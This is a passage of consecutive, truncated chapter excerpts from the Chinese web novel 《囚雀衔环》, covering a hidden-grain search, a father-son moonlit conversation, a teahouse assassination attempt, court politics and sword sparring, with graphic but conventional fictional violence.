“被换走的粮并不在皇城,而是也跟着一起运到了这里,只不过在进城前两波车马分道扬镳了,”柏清河这才从怀里掏出了张纸条,递到老头手里,“我现在只知道这批粮被没进城,被藏入了山中,但具体是哪座山……” 犹未可知。 辛城西面群山环绕,要是一一排查,这工程量可就太大了。 “不错,既然手中情报已经交换得差不多了……柏清河,现在轮到我问你,”柏平昀低头看了眼手中的纸条,将其收入口袋中,“若是由你来做决策,下一步会怎么走?” 柏平昀平日里惯 25. 血洗 《囚雀衔环》全本免费阅读 同一时间。 马匹被栓在了城外,西城墙的城门旁有个容纳商贩通过的窄小侧门,两旁有将士把守,来往商人络绎不绝,几人借机混入了辛城,隐藏在夜色中。 锦桢一路左顾右盼,片刻后锁定目标,偏头问道:“确定是这间铺子?” 锦哲默不作声地点了点头。 锦桢打量着眼前这间铺子,活动了一下手腕,温声道:“看着就没什么人烟,难怪是用来掩人耳目的。” “一会儿你动静尽量小点,别引人注目。”锦哲有些不放心地提醒着对方,“别忘了处理完后还得尽快赶去凉山。” “平常做别的也没见你这么积极,”锦桢脚步顿了下,打了个哈哈,“行了,知道了。” “掌柜的在吗?” 锦桢抬脚步入店内,视线扫了一圈,店里货品稀疏不说,柜台处甚至连个招待的人都没有。 “诶,来咯——” 听着动静,帘后才缓步走出来一个人影,个头不高,睨了锦桢一眼,挥了挥手道:“见谅啊客官,我们已经闭店了,不待客。” 锦桢还真半点没听出来这语气中的“见谅”。 “无事,您看走眼了,我不是来买东西的,”锦桢十分和善地朝对方笑了下,“是有些事需要找你们掌柜的当面谈谈,他人在店里吗?” 这人又上下打量了锦桢一眼。 在他看来,面前这男人生得唇红齿白,半长不长的头发搭在肩头,衣袍边角松垮垮地塞在衣带内,却能看出外袍也遮不住的腰细腿长……占了这么副不错的好皮囊,在这个时间点,独身一人来找他们掌柜的,还能是为了什么事。 掌柜的可是这城中楼里的常客,这老匹夫平常玩点大的都懒得避讳他们。 天都黑了,还“当面谈谈”,说得这么冠冕堂皇,谁会信呐。 他自觉自己已然看穿了事情本质,瞧向锦桢的眼神不由得多了几分意味。 他舔了舔嘴唇,态度立马变得柔和起来:“是是,怪我眼拙,看走眼了……只是这时候掐得不巧,掌柜的现在真不在,您可以去后面那屋里等一会儿,说不定人过会儿就回了。” 那老色鬼今晚去见楼里那群姐儿了,到时候肯定是彻夜笙歌,能回来才有鬼了。 “啊,是我来得唐突了,”锦桢伸手搭在柜台上,有意拉近了两人之间的距离,垂眸一笑,“只不过事出紧急,还是劳驾您给带个路吧。” ——上套了。 招待的男人忍不住窃喜,正巧听闻后面屋内传来了一声大喊“坨子,干什么去了搞那么久,该你出牌了”,于是忙不迭地伸手比了个“请”的手势,引着锦桢往内走。 后屋门一开,饶是锦桢这种爱叼着烟枪到处走的老烟鬼都禁不住皱起了眉,伸手在鼻尖扇了扇味儿,指望自己能在这份避不过的烟雾缭绕里,少吸进去点又油又臭的劣烟。 “别关门了,快坐下出牌,”一名叼着根粗烟的男人见坨子迟迟没落座,抬眼朝门口望去,“怎么还带着人进来了?” 屋里只有扇未开的小窗,门一关,那股恼人的烟味更浓了。 坨子嘿嘿笑着挡在门口,指了指锦桢,言简意赅道:“上等货。” “屁,什么上等货能轮得到我们,”坐在牌桌旁的男人往前探了探身子,等看清后,翘着的二郎腿瞬间不晃了,“草,还真他妈给你小子捡到漏了,哪儿来的好货?” “估计是唐掌柜那孙子给记错时间了,人家自己找上门来的。”坨子反手锁上了门,“我想着哥几个一起值夜班,哪有好东□□享的道理……” “嘿,看不出来,你小子还挺够哥们。” 手中的牌顿时失去了先前那偌大的吸引力,几人把牌面往桌上一扔,就要起身朝着门边靠拢。 锦桢自打进屋起就被这烟味呛得沉默不语,直到这时才终于率先走上前,一脚踩在坨子的小矮凳上。 “人都在这儿了?” 锦桢双手撑着牌桌,明明都快要被这股烟味儿熏吐了,脸上的笑意却丝毫不减:“那我们来玩个游戏吧,玩个简单的……你们不是好赌么,就猜猜你们所有人一起上的话,今夜的春宵一刻能价值多少银子好了……” “猜中的,有奖励。” 这几个男人并未被锦桢这番有些怪异的举止给唬住,反而是仰头笑了起来。 “那老孙子果然就爱泼辣这一款的,看着就招人,带劲儿,”坐在右手边的男人率先开了口,岔开腿,抬手漫不经心地比了个数字,“我猜……值这个数。” “错了。” 锦桢叹息一声。 他话音未落,手却已经拂过右腿侧面,像变戏法似的摸出把蝴蝶刀,在指尖翻了两下,同时抬脚踢开板凳,上前一步,另一只手自上而下握住了对方头顶的几根短毛,只待刀尖朝外,握着柄就朝对方的咽喉割去。 干净利落,一击毙命。 “抱歉,刚才忘记说了……既然有奖励,猜错了自然也有惩罚,”锦桢拎着对方的脑袋,将其轻轻放在了牌桌上,抬眼看向剩下三人。 “下一个,到谁?” 桌面上的脑袋面朝三人,瞪着眼睛,嘴巴还在微微的一开一合,像是还有什么未尽之言,直到几秒钟后,离其最近的半副牌面都被浸染上了血色,这番微弱的动静才逐渐停歇。 剩下几人全都被这瞬息万变的场景吓得静若寒蝉,尤其是那堵门的坨子,腿一软,险些直接靠着门板滑坐在地上。 嘀嗒—— 血液顺着桌面四散涌去,有几滴不堪重负地滴落在地上,清晰可闻。 “见谅,都不说话可不行,”锦桢施施然一转身,按顺序走到坐在门对面的男人面前,抖了抖蝴蝶刀上的血,问道,“那你说,值多少钱?” 那人哪里见过这种场面,整个人颤抖着,张开嘴半晌,愣是一个字都没能憋出来,反而是下面憋出了点别的——一股腥臊味在房间内弥漫开来。 “真脏。” 锦桢皱着眉头踹飞了那人屁股下的矮凳,对方猝不及防间摔倒在地,又被他强行拽起脑袋,如法炮制地收割了人头,放上牌桌。 “真有那么难猜吗?”锦桢踩着蔓延开来的血泊,走向第三个人,“罢了……到你了,想好答案了吗?” 男人手中的粗烟早就不知何时掉在了地上,烟头的火光闪了闪,最终被锦桢一脚踩灭,留了截血红且斑驳的脚印。 “九百……” 男人的眼眶泛起血色,他到这时竟还能大概记起辛城头牌那号称“一夜千金”的数字,也不过也就值这个价,于是抖着手比出数,嗓音嘶哑地求饶,“你,你放过我……我可以把我的钱都给你,绝对多于这个数……” 锦桢毫无怜悯之心地摇了摇头:“还是错了。” 男人几乎是下意识地抬手想要捂住脖子,锦桢这回却先往他嘴上划了一刀,皮开肉绽。 “见谅,你话太多了,我不爱听。” 这回男人甚至连痛苦的咽呜都还没来得及发出,便已经成为了摆在桌面上的第三颗人头。 “好看,”锦桢歪了歪头,朝着坨子扬唇一笑,面容几乎被月光照出了几分与环境割裂的明媚感,说出口的话却依然如同阎罗鬼煞,“就剩你了。” “知道为什么你们都猜不对吗?”他有些惋惜地低头看去,用沾着血的指腹抚摸上了坨子的脸庞,语调轻柔,“因为这是买命钱,价格高昂 26. 草环 《囚雀衔环》全本免费阅读 “搜山。” 随着柏平昀一声令下,身后跟随着的几对人马井然有序地向着不同方向分散开来。 柏清河三人藏起面容,混在了队伍最后方,直到所有人的身影随着忽明忽暗的火把一道消失在了铺满夜色的山中,才重新冒头出现在柏平昀身后。 “不愧是大帅,训练得可真好啊。”望尘张嘴望着远去的人群,一副没怎么见过世面的样子。 “这才哪到哪儿。” 柏平昀微微仰头,发出一声轻哼。 “望尘你少捧他两句,省得这老头等下又要得瑟。”柏清河心下羡慕,不知道自己手里那拨人得多久才能练成这般,却也不想让这老头就这么占尽风头。 “臭小子,你其实很羡慕吧,要不要我传授些经验给你啊。” 柏平昀抬手拍了拍柏清河的肩膀,被对方躲了开来。 柏清河往旁边挪了一步:“不必您老人家费心,我自己能行。” 柏平昀笑骂了一声。 “大帅!找着粮了,在山洞里!” 半山腰一处亮起了好几道火把,被举着剧烈地挥舞了起来。 柏平昀正了神色,领着人往那出走去。 “大帅,这确实是今年的新粮!”先一步前往确认的兵士清点完毕后,立马回头汇报道,“看数量,应该就是被粮车上的霉粮替换的那拨。” 柏平昀从兵士手中接过火把,亲自步入了山洞中,蹲下身随手摸过粮草,又闻了闻,才谨慎地点了下头,发出了下一道命令。 “列队!往山下搬!” “是!” “你俩也去跟着帮忙,尽快全部运到山脚下的粮车上。”柏清河朝身后的两人吩咐道。 “好的少爷。” 柏平昀慢众人一步,缓缓迈出山洞,停在了柏清河面前。 “这下心头大患也算是解决了,”柏平昀手中火把方向一转,“咱爷俩还没一起在凉山欣赏过夜景吧,难得来一趟辛城,不去赏个月?” 柏清河腹诽,这老头一大把年纪了,倒还是那副好雅兴;脚下步伐却是很自然地跟了上去,深一脚浅一脚地顺着坡往上爬。 柏平昀南征北战多年,没那些个爱干净的穷讲究,随手将火把插入了松软泥土里,便席地而坐了下来。 “坐。” 他拍了拍身边的空位,柏清河便一撩衣袍,坐在了沾着泥的杂草上。 “上回在山顶赏月还是跟你娘一起……得有个六七年了吧,这些年恰达勒总不老实,根本腾不出手去做这些个风雅事,真是愁人啊……” 去年柏夫人过生日,柏平昀算着时辰,骑着良驹日夜不停才总算是赶在日落时分回了趟府,一家人难得和和美美吃了顿团圆饭,他却一刻也没能多消停,又快马加鞭地赶回了边界。 身为国帅,再多身不由己都不过是寻常。 这是没办法的事。 柏清河不懂这方面的安慰之法,同时又觉得说什么都没用,只好也跟着抬头望月,嘴上干巴巴地道:“等您早点服老让位给我,就没这么多烦恼了。” “臭小子可劲吹吧,皇城养了你二十年,皮都给你养松了,”柏平昀偏头睨了自家儿子一眼,呵呵一笑,“就你现在这点外行门道,等我头发花白了再说吧。” 柏清河咬牙:“臭老头……” “那老皇帝精明着呢,你以为你为什么会在皇城里养尊处优地呆上这么些年,”柏平昀摇了摇头,随手抓了把杂草,在手中翻来覆去地绕,“要按着我的脾气,你早就是个在泥地里打滚的黢黑小伙了,哪还有这般的细皮嫩肉……要不是这回扯着个由头,你这臭小子指不定还得被困到几时呢。” 柏清河听着,嘴角不由得抽了抽。 养尊处优?细皮嫩肉? 合着他小时候习武被三天两头按着打的记忆都是做梦来的? 这老头子还真是皇城里的人见得少了,等以后见着温言了,才知道什么是真正的细皮嫩肉呢…… 不对,我怎么这时候想起他来了…… 柏清河甩了甩头,试图趁着这杂念生根发芽前就这么将其甩出去:“那老皇帝也没几年好活了。” “话可不能乱讲,听着跟要谋反似的,”柏平昀笑着比了个噤声的手势,“唐知文那个太子也不是什么善茬,心机深沉着呢,等这回回去了,记得提醒你哥之后也多长个心眼。” 一边不准人编排皇帝,一边自己直呼皇子姓名……到底是谁胆子更大啊。 柏清河撇了撇嘴:“我哥也精明着呢。” “也是,都是老狐狸生的小狐狸,心眼不知比身上出气的孔多了多少,让他们玩去吧,”柏平昀将手中的杂草显摆似的递到了柏清河面前,话题一转,“——不外传的手艺,想学不?” 那几根先前随手拔出的杂草已经在交谈间被穿插编织成了一枚黄绿相间的、小小的指环,连较短的冒头草尖也被细心地修整了个干净,就这么格格不入地躺在柏平昀的掌心,竟平白添了股说不上来的“精致”感。 “这还是我当年为了追你娘专门学的小把戏,”柏平昀有些回忆地笑了起来,“那时候穷,手里没几个钱,可就靠着这玩意儿给人追到手的……” “学不学?学了回去给你喜欢的那姑娘编,保准你追人事半功倍……” 柏清河看着这老头一脸奸笑的样,忍不住扶额,正想要开口拒绝,却不知想起了什么,话到嘴边又难得拐了个弯,竟然应了下来。 这回轮到柏平昀有些惊讶了:“真学啊,倒是难得看你这臭小子低头。” “废话真多,臭老头你到底教不教?” “嘿,臭小子你看好了,我可就教一遍……” 于是两个五大三粗的男人就这么坐在山顶上,迎着月光,一板一眼地编起了草环。 “这根往左才对……你这臭小子也该透个口风了,到底是谁家姑娘,到时候也好让你娘帮着相看一番。” 柏平昀手上动作不停,嘴上也颇有“打破沙锅问到底”的架势,若是温言在场,指定能明白柏清河那股劲儿到底是随谁来的。 柏清河被缠得有些没辙:“……都说了没姑娘,我就是单纯想学,有什么问题?” 柏平昀翻了个白眼:“臭小子骗鬼呢,小时候让你跟你娘学个折兔子,你才坐了五分钟就跟屁股上长了刺儿似的呆不住,现在肯老老实实坐在这里编草环,不是给姑娘编,难道还能是准备回去孝敬你哥啊?” “再者,你这年纪喜欢个小姑娘又不是什么丢人事,要真跟你哥那样快三十了还没个相中的,我才该头疼我们老柏家是不是要绝后了……” 柏清河手上动作一顿,心下咂摸了一番,突然觉得他爹说的话也不是全无道理,于是嘟囔道:“好像还真该考虑一下这个绝后的问题……” “你说什么了?”< 27. 失策 《囚雀衔环》全本免费阅读 柏青舟坐在轮椅上整了整衣摆。 “听闻皇城这段时间出了个新秀,说不定未来会有合作,太子引荐我们今日去见见。” 温言一言不发地走到了对方身后,推动轮椅。 “你就不好奇吗?”柏青舟转头,朝着温言露出了一抹笑,“太子殿下可在信中告知了我,对方也姓温,万一是你哪位混出了头的本家呢?” 温言握着把手的动作一顿。 “不会。”他垂眸对上柏青舟的视线,将轮椅推出了府门,“我没有家人,也不存在什么本家。” …… 柏青舟若有所思地一低头:“告罪,是我冒犯。” 温言摇头道:“无妨。” - 等两人来到柏青舟指名前去的茶馆,只见门口停了辆价值不菲的马车,温言刚将轮椅推近两分,马车上便正好施施然走下来一道身影。 “哟,贵客光临啊。”董若晴眼见来人,瞬间笑了起来,手中折扇一转,“谈事来的?三楼雅间请?” 柏青舟点了下头,也笑了:“还真是巧了,怎的董老板今日也在?” “我的铺子,当然得偶尔来转转,查个账什么的。”董若晴的目光落在温言身上停了半秒,随即上前半步领路,“话说回来,你身后这位新侍卫长得挺俊俏啊,哪儿捞来的?” 就在旁边听着的温言:“……” 柏青舟失笑应声:“不知道柏清河从哪儿找来的人,挺厉害的。” “他倒是嗅觉敏锐,总能找着些奇人异宝。”董若晴摇了摇头,“先前将他关在皇城里,当真是屈才了。” 柏青舟这回还是摆着那副笑脸,却没开口接茬。 “你们约在了哪个雅间……成,那我就送到这儿了,等下让小二给你送茶来,算我请的。” “董老板大方。” 柏青舟的习惯是提前莫约一刻钟到,坐在雅间里等了没一会儿,那位被引荐的“新秀”便比煮好的茶水先一步推门入了内。 “柏大少爷……久仰大名。” 年轻人只身一人推门而入,面朝柏青舟拱手行了个礼,抬起的目光却越过对方,落在了站在对方身后的温言身上。 两人视线相触,温言顿时身体一僵,偏过了头。 “温先生,久仰。”柏青舟目不斜视地拱手回礼,自然注意到了对方眼中那一瞬的暗流涌动,开口试探道,“温先生莫不是与我身后的这位侍卫相识?” “不,不过是有些惊讶罢了。”年轻人收回视线,落座在了对面,“先前一直听闻柏大少爷身边跟着的侍卫是个五大三粗的,如今一见,传言倒显得不尽然了。” 柏青舟温和地笑了笑:“传言不虚,不过是原先跟在身边的人今日有事,才换了他来。” 正巧这时,小二敲响了雅间的门:“贵客,上好的西湖龙井茶来了。” “原来如此。” 年轻人跟着勾了勾唇角,笑意未达眼底,却识相地没再过多纠缠这个话题。 温言双臂环胸,沉默着后退两步,整个人半靠在窗边,眼神望向窗外,没再仔细听茶桌前两人的交谈与机锋,背上却已经浮出了一层冷汗。 早在柏青舟告诉他对方姓“温”的时候他就该有所警觉。 失策了。 …… “柏大少爷当真不愧是位赚钱的奇才,和聪明人聊天就是舒坦。” 屋内,年轻人起身敬了柏青舟一杯茶。 “殊荣,不敢当。”柏青舟垂首接过,仰头一饮而尽,“若是未来能与温先生这般年少有为之人有所合作,我十分乐意奉陪。” 年轻人又倒了杯茶:“今日告辞前能得柏大少爷这句话,已经足够了。” 他话音一落,视线便转向了站在窗边的温言,对方却始终回避了他的灼灼目光。 “温先生要是对我这位侍卫实在感兴趣,不妨直言。” 柏青舟也有些被对方这三番五次的小动作弄得摸不着头脑,干脆率先出言试探道。 “不瞒柏大少爷,我确实有些兴趣,”年轻人有些歉意地一拱手,“这位……侍卫,从先前开始就站在后方一动不动,还懂得非礼勿听勿看的道理,算是培养得不错的了……不知柏大少爷是从哪里寻来的人,若是用着不错,我之后也好去赎几位回府试试?” 温言听完这番话,下意识地摸了把腰间的佩刀。 “是家弟机缘巧合下寻来的,”柏青舟将茶杯抵在唇边,宽大衣袖掩住了半边表情,“温先生若是不急,可以等我回府后再去问问。” “那可就太麻烦柏大少爷了,既是机缘巧合,想必自是缘分使然,”年轻人轻轻笑道,“也是我缘分浅薄……” 柏青舟不明白话题为何被引导到了“缘分”上,却还是接道:“温先生何必妄自菲薄,之后遇到合适人选的机会多着……” “柏大少爷说得也是。” 年轻人又行了个礼,才道了声告辞,离开了雅间。 “你们认识?”柏青舟待人走后,才转动轮椅,朝向温言问道。 皇城如今已然入秋,窗外的虫鸣鸟叫都少了不少,偶尔才能听着几分流过街头巷尾的叫卖声,算是这偏僻地的难得烟火气。 “我……” 温言还未想好该如何回答这个问题,却已经先一步眼尖地瞟到了飘上来的黑烟。 茶馆一共只有三层楼高,他身处于三楼雅间,自然能听着屋顶砖瓦上传来的细微脚步声。 “这个问题容后再议。”温言立马绕到了柏青舟身后,推着轮椅往门外走去,“先走,上面有人要杀你。” 上面? 什么上面? 柏青舟还未能跟上温言的思路,窗外就已经传来了一道锐利的破空声。 轮椅被往前推了一段距离,在柏青舟抽空转头前,温言已经干脆利落地抽出了腰间佩刀,三两下抹了对方的脖颈,一甩刀尖血,踹开门,将他送了出去。 “楼下走水了,我正要来……”一开门,董若晴拎着裙摆从楼梯处跑来,一眼便望见了温言外袍溅上的血迹,声音瞬间提高了个调,“你们这又是怎么了?” 温言将手中的短刀转了个方向,刀柄朝向董若晴:“会用刀吗?” “什么意思?”董若晴一时之间没敢接下,而是看向了柏青舟,“到底出什么事儿了?” < 28. 回城 《囚雀衔环》全本免费阅读 “皇上!皇上!” 老太监踮着脚,手中的拂尘规矩地搭在臂弯处,迈着小碎步,往老皇帝的寝宫快步走去。 老皇帝靠在扶椅上,被老太监这尖细的一嗓子喊回了神,皱眉问道:“着急忙慌的,什么事?” “皇上,是好事儿!”老太监忙不迭地走到近前,抬着嗓子说道,“辛城战事大捷,恰达勒的那群莽夫,全部被打回到了淮水以南!” 老皇帝撑着脑袋沉默半晌,他近日越发觉得头脑昏沉,对这般外界信息的处理能力越发差了,总得缓上个两三秒钟,才能彻底想明白对方嘴里吐的到底是什么词。 “哼,这有何稀奇,”老皇帝兴致缺缺地摇着头,冷笑一声,“柏平昀好歹为本朝国帅,若是连这点小事都做不到,也担不起这个名头。” “皇上,这回不一样,可不是那柏大帅打的呢,”老太监弓着身子,眼皮一撩,手中的拂尘跟着小幅度地甩了甩,“战报里说是那位……柏清河打的。” “哦?”老皇帝这才拿正眼瞧向了那垂首站在身前的老太监,“你说是那个……柏家的幺儿,柏清河?” 老太监连忙应声:“是呢。” “看来这皇城还是太小了,困不住鹰啊,”老皇帝眼眸深沉,嘴角却勾起了一抹笑意,“这孩子战事立功,自当行赏。” “皇上准备赏点什么?”老太监咂摸了下老皇帝的态度,试探着问道。 “就赏点……面子上过得去的小物什,”老皇帝摆了摆手,“另外剩下的就交给你来决定吧,朕累了。” 老皇帝如今已是老态龙钟,胆子也愈发的小了起来。 他忌惮柏平昀手中捏着的兵权已久,即使柏清河如今立下了不小功劳,他也不愿再多给柏清河分任何一丝名头,而是将其全转为了物质上的赏赐,摆明了是要将“名分”上的事儿能拖就拖。 毕竟这金银珠宝,无非是珍贵些的“破铜烂铁”,那是要多少就能给多少,面子上总能过得去;可分出去的权柄却是实打实的利刃,一旦用得不好,便会成为回首刺向自身的尖刀。 刀刃折射的亮光总是晃眼,若非必要时分,旧刀未折,自不必再换新刃。 老太监跟随老皇帝多年,自然明白这话中之意,于是退后两步,恭敬地行了个跪礼。 “是,全凭皇上安排。” - “喂,听说了吗,那个柏二少爷好像在辛城立战功了!” “真的假的?就那个纨绔?” “真的吧,听说过几天就要发赏赐下来了……” “他会行军作战?别笑死人了,说不定只是跟在柏大帅后头当个副将,混了个功劳而已……” “谁知道呢……” “也不知这皇城是大是小,消息传得可真快啊,”董若晴推着轮椅走在街上,撕了一截的裙摆和沾着血的衣襟引得周围路人纷纷侧目,甚至有不少窃窃私语者,她却浑不在意,自顾自地接道,“你们消息瞒得还挺严实,柏清河到底是什么时候去的辛城?” 柏青舟身上也沾着不少溅上的血迹,事到如今,没了瞒着的必要,于是他如实答道:“四日前。” 董若晴点了点头:“那还挺快。” 皇城的地理位置并不处于国土中心,反而是在离辛城,也就是离边线很近的地方,据说是由于当年选址时,皇帝看中了此地丰富的地下物产资源和富饶的土地,才在此处落脚扎了根。 “既然如此,柏清河他们的脚程应当不比这传出来的消息慢多少。” 董若晴将轮椅稳稳停在了巷尾角落,此处正好与茶馆形成对角,距离也稍远,是个能纵观情况却不至于被波及的好视角。 “是啊,说不定今日就能到了。”柏青舟想着,脸上不由得露出了一抹笑;下一秒抬头望向茶馆时,又敛了神色,“能平安无事就好……” 温言一甩手中匕首上的血,还未被火舌吞噬的墙面上顿时多出了一串大小不匀的血点,宛如一道无限延伸而出的火星子。 他垂头望向地上横七竖八倒着的人,又看了眼手中已经豁口了的匕首。 解决了。 吱嘎—— 雅间外走廊上的楼梯被席卷吞噬,不堪重负地摔落进了火堆里。 在这份近在咫尺的高温炙烤下,温言脚底的木板也跟着松动了起来。 此路不通。 温言当机立断丢开了手中的匕首,一脚踹开已然有些变形的窗户,翻身跃了出去。 柏青舟眼尖,立马指着那边说道:“他出来了。” “你是说你那个侍卫?”董若晴顺着方向看去,只见一道人影不甚美观地跌落在了茶馆外的石砖上。 即使路上人烟稀少,这么大的动静也不免引起了路过人的注意。 “不好了,走水了!!” “水!找水灭火啊!” “这里还有个人,诶……小公子你要去哪儿啊?” “……先别管他了,别让火势蔓延开来!” 温言从地上抬起头,看到了远处巷尾里等候着他的两人。 柏青舟见他走来,推着轮椅上前问道:“伤势如何?” 温言难得从对方的神情中品出了一丝担忧:“……没事,没大碍。” 柏青舟松了口气:“那便是万幸了。” “对了,这把刀还你,没有它,我们还真的差点没能跑出来,”董若晴说着,撩起裙摆,将刀上的血迹擦了个七七八八,才递回给了温言,“大恩不言谢,这回的事算我欠你一个人情。” 温言将刀重新收回了腰侧,略一颔首,没推辞这份谢礼。 眼见着没什么事了,董若晴也没了逗留的理由,想着赶紧回去给自己换身干净的衣服——她现在总觉得那些沾在衣服上的血迹已经透过了层层薄纱,有些恶心。 “柏青舟,你要去接柏清河吗?”董若晴转头问道,得到了肯定的回答,才接着说,“那我便不跟你们一路了。” “董若晴,今日多谢。”柏青舟朝董若晴一拱手。 “别以为现在拉近了关系就能不赔钱了啊,”董若晴被喊得一愣,笑了起来,“走了,改日见。” 待董若晴走后,温言才看向柏青舟,出言问道:“柏清河今日便会回?” “算算时间,差不多,”柏青舟点头笑道,“恭喜,虽然出了点小意外,但温言你的任务也算是圆满结束了。” 温言有时候难免觉得柏家人都是比较神奇的“动物”。 明明 29. 新刃 《囚雀衔环》全本免费阅读 皇城外,城门大开,恭迎众人凯旋而归。 柏清河走在最前方,一眼便瞧见了停在城门边的轮椅,和一站一坐的两道人影。 “哥!” 他性子急,立马夹紧马肚,往那边奔了过去。 柏青舟听到声音,朝这边挥了挥手。 等到柏清河在近前翻身下马,柏青舟才打趣似的朝来人说道:“柏小将军首战告捷,恭喜啊。” “嗐,哥你可别折煞我了。” 柏清河挠着脑门,低头一笑,却正好看到了柏青舟身上沾着的零零点点的血迹,瞬间什么乘胜归来的兴奋劲儿都烟消云散了,再一抬头,只见站在他哥身后的温言虽身着黑色衣袍,看不出详尽端倪,脸上却还残留着没能抹擦干净的血痕,更是吓得他连胸腔里的血都差点凉了半截。 “你们这是怎么回事?!” 柏青舟眼瞧柏清河紧张地拉着他的袖子左看右看,只觉得好笑,安抚性地抬手拍了拍对方的肩膀:“放心,没受伤。” 尽管柏清河当时是为了安全起见,未雨绸缪让温言来当了“侍卫”,却也从来没想过这皇城内会真的发生什么动荡或危险——至少不应该是现在。 真是直打了他一个措手不及。 确认了柏青舟的情况后,柏清河又是一个大跨步,绕到了轮椅后面,如出一辙地拽起温言的手臂,将人按着转了个圈。 这边的情况就显然没那么乐观了。 两人的距离迅速贴近,温言浑身一僵,淡声道:“撒手。” “不撒。” 柏清河寒声拒绝了这份“请求”,钳住温言的手腕,下一秒便掀开了对方的右臂衣袖,露出了一道触目惊心的伤口。 甚至还在往外冒着鲜血。 “你……” 柏清河看得脸色一白,正要开口说些什么,却被温言得了空的另一只手率先敲了虎口,吃痛发麻,只好松了开来。 “劳柏二少爷费心,”温言将被掀开的衣袖重新抖落,盖住了伤口,摆出一副无事发生的模样,“既然任务完成了,柏二少爷准备什么时候结一下工钱?” 结个屁。 真亏得这人脑子里还能惦记着工钱的事儿。 柏清河被这一口一个“柏二少爷”叫得牙痒,心里翻腾着股怒气没处撒,顾不得周围人的视线,重新翻身上马后,又是伸臂一揽,将还未反应过来的温言也掳上了马,扬长而去。 “诶,少爷这是要干嘛去?”望尘在后面伸着脖子往前瞧。 “这臭小子溜得倒是快,”柏平昀随后赶来,他行军多年,眼力自不在话下,如今语气却难得显得有些不确定起来,“……我没看错的话,他刚才带上马的,是不是个男人?” 望尘又张望了两眼,柏清河却早就已经跑没影了:“是么,我好像没看清……” 望洋抬眼望天:“我也没看清。” 没能得到认同的柏大帅眯起了眼睛,总觉得事情似乎有些不对劲儿。 “爹。” “诸事劳累,既然回来了,不如先回府休息片刻?”柏青舟推着轮椅,笑着唤回了对方的心神,同时转移话题道,“娘也难得在家等您呢。” “好,好好,”柏平昀瞬间被这话成功带偏,再没了探究的心思,“不管那臭小子了,咱们先回府!” “柏二少爷,你凯旋归来,应当先去皇上殿前禀报才是,”温言被柏清河双臂环绕着禁锢在马背上,他不善骑马,只好一手搭上缰绳尽力维持平衡,说话气息有些不稳,“而不是这般……” 肆无忌惮地在城中跑马。 “有何关系,反正那老东西也不会赐我功名,最多赏些屁用没有的小物什,”柏清河拉动缰绳,发出一声哼笑,“我这样反而正如他意,给了那老东西时间去慢慢想,争取找到个不落人口舌的好由头。” 温言:“……” 他倒是不知道,这事里还有这么多学问。 “到了。” 柏清河将马踱步停在了一个铁匠铺的院子后面,系好了缰绳。 “这是哪里?”温言下马环视了一圈周围,发现这竟然是一个自己从未来过的地方。 “这是皇城内最老的铁匠铺,”柏清河领着人往前走,“我长这么大,用过的所有兵器,无论什么刀枪剑戟,一律都是这铺子里的老师傅打的。” 温言在旁边听着,给了个简短的评价:“还挺有来头。” “是啊,你不是找我要工钱吗,工钱就在这儿呢。”柏清河扯着嘴角,短促地笑了一下,转身撩开了挂在半空中的门帘,朝里面大喊道,“师父,我来叨扰了!” “哟,臭小子来啦!”一位头发花白,眉目间却神采奕奕的老人弯着腰,从燃着火的烘炉旁抬起头喊道,“难得见你领了人来,你们先自己随便找地方坐吧!” “是,容我先借师父的小药箱一用。” 柏清河话罢,轻车熟路地从柜子里翻出一个小木箱,径直拎到了温言面前。 温言早已顺势坐在了脚后放着的小矮木凳上,见柏清河蹲在了自己面前,才反应过来对方的意图。 “我自己来就行。”温言有些不太适应地想要躲开。 “这点小事,就不劳温公子亲自动手了,”柏清河翻手拍了下温言的手背,趁着对方愣神的功夫,扣住了对方的手,露出了一个虚伪的笑容,“别乱动,我来就好。” 温言罕见地察觉到对方的心情似乎并不怎么样,同时也拗不过他,被拍打过的手背明明没留下任何痕迹,却微微发烫,只好就这么乖乖地僵在这个姿势,任由柏清河在他手臂上细致地缠上一圈又一圈纱布。 “你们……”柏清河低着头,让人看不清他脸上的表情,“……到底发生了什么事?” “不知道,”温言如实答了,随后似乎也意识到了这个答案很难说服对方,又补充道,“不过是有人要对柏青舟下手,我按照约定保护了他……至于别的内情,我一概不知。” “好。”柏清河点了点头,虽然他手上还在给纱布打结,面上却已经抬眼望向了温言,突然开口问道,“为什么你喊我哥喊的是名字,喊我就是柏二少爷?” 温言被这没头没脑的话问得一愣,不由得失笑,有些模棱两可地说道:“只是顺口喊的,柏二少爷,这事有那么重要?” “这当然很重要,”柏清河一副“你还这么喊”的表情,有些幽怨地瞪了温言 30. 期待 《囚雀衔环》全本免费阅读 “跟我谢什么谢,”柏清河瞧着温言的笑,忍不住偏开头,摸了摸鼻尖,随后也跟着笑了,“既然已经开好刃了,不如去后面试试?” 听上去是想要跟他比划两下的意思。 “好啊,试试。” 温言也没客气,跟着柏清河一撩门帘,往那栓了马的后院走去。 老师傅在后面乐呵呵地提醒道:“你们比试的时候记得收着点力,可别把我这老家伙的陈年铺子给拆咯。” “得嘞师父,”柏清河故作轻松地随手从旁边装着炼废的兵器的筒子里,捞出了把长度相当的短刀,“放心吧,等下我会让着他的。” 让着谁? 温言忍不住嘴角微扬,冲着柏清河一挑眉。 “少说大话。” 温言抬脚蹬地,率先出手,速度飞快地朝着柏清河冲去。 两人间距离本就接近,再加上温言出手迅猛,这一下也算是打了柏清河一个措手不及,只能抬手举刀格挡。 钢刀比之温言之前用过的铁刀重量略有不同,握在手中更为沉重几分;也正因此,温言这一手挥出去后明显感觉手腕略沉,没能准确把握好击打部位,被对此早有预料的柏清河轻松挡了回去。 饶是这般,刀刃出鞘划出的一瞬白光也不由得让温言暗暗心惊。 “好匕首!师父您炼刀的手艺是不是又精进了!” 柏清河距离刀刃更近,自然也注意到了这点,忍不住朝着坐在一旁围观的老师傅喊道。 “臭小子,过招的时候还敢分心,”老师傅被夸得呵呵一笑,下巴一扬,指向温言说道,“再贫嘴,等他五招之内熟悉了这把匕首,你就该输了。” “我这可是在夸您!” 柏清河心说自己可真是好心被当成驴肝肺,没得回报就算了,竟然还要被唱衰。 温言竖耳听着这师徒二人一唱一和地唠,动作却半分不受影响,手腕翻飞,灵活地将匕首放在手中来来回回转了两圈,继续凝神适应着这把新武器。 他早已习惯了绝境搏命下的单打独斗,在经年的任务执行中,需要面对的突发状况自然是数不胜数,随身佩戴的铁匕首更是纯粹的日常消耗品……长此以往,温言也就被逼着练就了这项捡到、抢到什么武器就能随手用什么的能力,因此对短刀、匕首这类武器的适应速度远比老师傅预计得更加迅速。 